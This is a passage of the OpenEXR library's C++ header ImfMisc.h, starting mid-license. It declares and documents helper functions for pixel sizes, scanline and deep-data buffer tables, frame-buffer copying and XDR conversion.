OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_MISC_H #define INCLUDED_IMF_MISC_H //----------------------------------------------------------------------------- // // Miscellaneous helper functions for OpenEXR image file I/O // //----------------------------------------------------------------------------- #include "ImfPixelType.h" #include "ImfCompressor.h" #include "ImfArray.h" #include "ImfNamespace.h" #include "ImfExport.h" #include "ImfForward.h" #include <cstddef> #include <vector> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // Return the size of a single value of the indicated type, // in the machine's native format. // IMF_EXPORT int pixelTypeSize (PixelType type); // // Return the number of samples a channel with subsampling rate // s has in the interval [a, b]. For example, a channel with // subsampling rate 2 (and samples at 0, 2, 4, 6, 8, etc.) has // 2 samples in the interval [1, 5] and three samples in the // interval [2, 6]. // IMF_EXPORT int numSamples (int s, int a, int b); // // Build a table that lists, for each scanline in a file's // data window, how many bytes are required to store all // pixels in all channels in that scanline (assuming that // the pixel data are tightly packed). // IMF_EXPORT size_t bytesPerLineTable (const Header &header, std::vector<size_t> &bytesPerLine); // // Get the sample count for pixel (x, y) using the array base // pointer, xStride and yStride. // IMF_EXPORT int& sampleCount(char* base, int xStride, int yStride, int x, int y); IMF_EXPORT const int& sampleCount(const char* base, int xStride, int yStride, int x, int y); // // Build a table that lists, for each scanline in a DEEP file's // data window, how many bytes are required to store all // pixels in all channels in scanlines ranged in [minY, maxY] // (assuming that the pixel data are tightly packed). // IMF_EXPORT size_t bytesPerDeepLineTable (const Header &header, int minY, int maxY, const char* base, int xStride, int yStride, std::vector<size_t> &bytesPerLine); // // Build a table that lists, for each scanline in a DEEP file's // data window, how many bytes are required to store all // pixels in all channels in every scanline (assuming that // the pixel data are tightly packed). // IMF_EXPORT size_t bytesPerDeepLineTable (const Header &header, char* base, int xStride, int yStride, std::vector<size_t> &bytesPerLine); // // For scanline-based files, pixels are read or written in // in multi-scanline blocks. Internally, class OutputFile // and class ScanLineInputFile store a block of scan lines // in a "line buffer". Function offsetInLineBufferTable() // builds a table that lists, scanlines within range // [scanline1, scanline2], the location of the pixel data // for the scanline relative to the beginning of the line buffer, // where scanline1 = 0 represents the first line in the DATA WINDOW. // The one without specifying the range will make scanline1 = 0 // and scanline2 = bytesPerLine.size(). // IMF_EXPORT void offsetInLineBufferTable (const std::vector<size_t> &bytesPerLine, int scanline1, int scanline2, int linesInLineBuffer, std::vector<size_t> &offsetInLineBuffer); IMF_EXPORT void offsetInLineBufferTable (const std::vector<size_t> &bytesPerLine, int linesInLineBuffer, std::vector<size_t> &offsetInLineBuffer); // // For a scanline-based file, compute the range of scanlines // that occupy the same line buffer as a given scanline, y. // (minY is the minimum y coordinate of the file's data window.) // IMF_EXPORT int lineBufferMinY (int y, int minY, int linesInLineBuffer); IMF_EXPORT int lineBufferMaxY (int y, int minY, int linesInLineBuffer); // // Return a compressor's data format (Compressor::NATIVE or Compressor::XDR). // If compressor is 0, return Compressor::XDR. // IMF_EXPORT Compressor::Format defaultFormat (Compressor *compressor); // // Return the number of scan lines a compressor wants to compress // or uncompress at once. If compressor is 0, return 1. // IMF_EXPORT int numLinesInBuffer (Compressor *compressor); // // Copy a single channel of a horizontal row of pixels from an // input file's internal line buffer or tile buffer into a // frame buffer slice. If necessary, perform on-the-fly data // type conversion. // // readPtr initially points to the beginning of the // data in the line or tile buffer. readPtr // is advanced as the pixel data are copied; // when copyIntoFrameBuffer() returns, // readPtr points just past the end of the // copied data. // // writePtr, endPtr point to the lefmost and rightmost pixels // in the frame buffer slice // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // typeInFrameBuffer the pixel data type of the frame buffer slice // // typeInFile the pixel data type in the input file's channel // IMF_EXPORT void copyIntoFrameBuffer (const char *&readPtr, char *writePtr, char *endPtr, size_t xStride, bool fill, double fillValue, Compressor::Format format, PixelType typeInFrameBuffer, PixelType typeInFile); // // Copy a single channel of a horizontal row of pixels from an // input file's internal line buffer or tile buffer into a // frame buffer slice. If necessary, perform on-the-fly data // type conversion. // // readPtr initially points to the beginning of the // data in the line or tile buffer. readPtr // is advanced as the pixel data are copied; // when copyIntoFrameBuffer() returns, // readPtr points just past the end of the // copied data. // // base point to each pixel in the framebuffer // // sampleCountBase, provide the number of samples in each pixel // sampleCountXStride, // sampleCountYStride // // y the scanline to copy. The coordinate is // relative to the datawindow.min.y. // // minX, maxX used to indicate which pixels in the scanline // will be copied. // // xOffsetForSampleCount, used to offset the sample count array // yOffsetForSampleCount, and the base array. // xOffsetForData, // yOffsetForData // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // typeInFrameBuffer the pixel data type of the frame buffer slice // // typeInFile the pixel data type in the input file's channel // IMF_EXPORT void copyIntoDeepFrameBuffer (const char *& readPtr, char * base, const char* sampleCountBase, ptrdiff_t sampleCountXStride, ptrdiff_t sampleCountYStride, int y, int minX, int maxX, int xOffsetForSampleCount, int yOffsetForSampleCount, int xOffsetForData, int yOffsetForData, ptrdiff_t xStride, ptrdiff_t xPointerStride, ptrdiff_t yPointerStride, bool fill, double fillValue, Compressor::Format format, PixelType typeInFrameBuffer, PixelType typeInFile); // // Given a pointer into a an input file's line buffer or tile buffer, // skip over the data for xSize pixels of type typeInFile. // readPtr initially points to the beginning of the data to be skipped; // when skipChannel() returns, readPtr points just past the end of the // skipped data. // IMF_EXPORT void skipChannel (const char *&readPtr, PixelType typeInFile, size_t xSize); // // Convert an array of pixel data from the machine's native // representation to XDR format. // // toPtr, fromPtr initially point to the beginning of the input // and output pixel data arrays; when convertInPlace() // returns, toPtr and fromPtr point just past the // end of the input and output arrays. // If the native representation of the data has the // same size as the XDR data, then the conversion // can take in place, without an intermediate // temporary buffer (toPtr and fromPtr can point // to the same location). // // type the pixel data type // // numPixels number of pixels in the input and output arrays // IMF_EXPORT void convertInPlace (char *&toPtr, const char *&fromPtr, PixelType type, size_t numPixels); // // Copy a single channel of a horizontal row of pixels from a // a frame buffer into an output file's internal line buffer or // tile buffer. // // writePtr initially points to the beginning of the // data in the line or tile buffer. writePtr // is advanced as the pixel data are copied; // when copyFromFrameBuffer() returns, // writePtr points just past the end of the // copied data. // // readPtr, endPtr point to the lefmost and rightmost pixels // in the frame buffer slice // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // type the pixel data type in the frame buffer // and in the output file's channel (function // copyFromFrameBuffer() doesn't do on-the-fly // data type conversion) // IMF_EXPORT void copyFromFrameBuffer (char *&writePtr, const char *&readPtr, const char *endPtr, size_t xStride, Compressor::Format format, PixelType type); // // Copy a single channel of a horizontal row of pixels from a // a frame buffer in a deep data file into an output file's // internal line buffer or tile buffer. // // writePtr initially points to the beginning of the // data in the line or tile buffer. writePtr // is advanced as the pixel data are copied; // when copyFromDeepFrameBuffer() returns, // writePtr points just past the end of the // copied data. // // base the start pointer of each pixel in this channel. // It points to the real data in FrameBuffer. // It is different for different channels. // dataWindowMinX and dataWindowMinY are involved in // locating for base. // // sampleCountBase, used to locate the position to get // sampleCountXStride, the number of samples for each pixel. // sampleCountYStride Used to determine how far we should // read based on the pointer provided by base. // // y the scanline to copy. If we are dealing // with a tiled deep file, then probably a portion // of the scanline is copied. // // xMin, xMax used to indicate which pixels in the scanline // will be copied. // // xOffsetForSampleCount, used to offset the sample count array // yOffsetForSampleCount, and the base array. // xOffsetForData, // yOffsetForData // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // type the pixel data type in the frame buffer // and in the output file's channel (function // copyFromFrameBuffer() doesn't do on-the-fly // data type conversion) // IMF_EXPORT void copyFromDeepFrameBuffer (char *& writePtr, const char * base, char* sampleCountBase, ptrdiff_t sampleCountXStride, ptrdiff_t sampleCountYStride, int y, int xMin, int xMax, int xOffsetForSampleCount, int yOffsetForSampleCount, int xOffsetForData, int yOffsetForData, ptrdiff_t sampleStride, ptrdiff_t xStrideForData, ptrdiff_t yStrideForData, Compressor::Format format, PixelType type); // // Fill part of an output file's line buffer or tile buffer with // zeroes. This routine is called when an output file contains // a channel for which the frame buffer contains no corresponding // slice. // // writePtr initially points to the beginning of the // data in the line or tile buffer. When // fillChannelWithZeroes() returns, writePtr // points just past the end of the zeroed // data. // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // type the pixel data type in the line or frame buffer. // // xSize number of pixels to be filled with zeroes. // IMF_EXPORT void fillChannelWithZeroes (char *&writePtr, Compressor::Format format, PixelType type, size_t xSize); IMF_EXPORT bool usesLongNames (const Header &header); // // compute size of chunk offset table - if ignore_attribute set to true // will compute from the image size and layout, rather than the attribute // The default behaviour is to read the attribute // IMF_EXPORT int getChunkOffsetTableSize(const Header& header,bool ignore_attribute=false); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif
36.498929
82
0.58856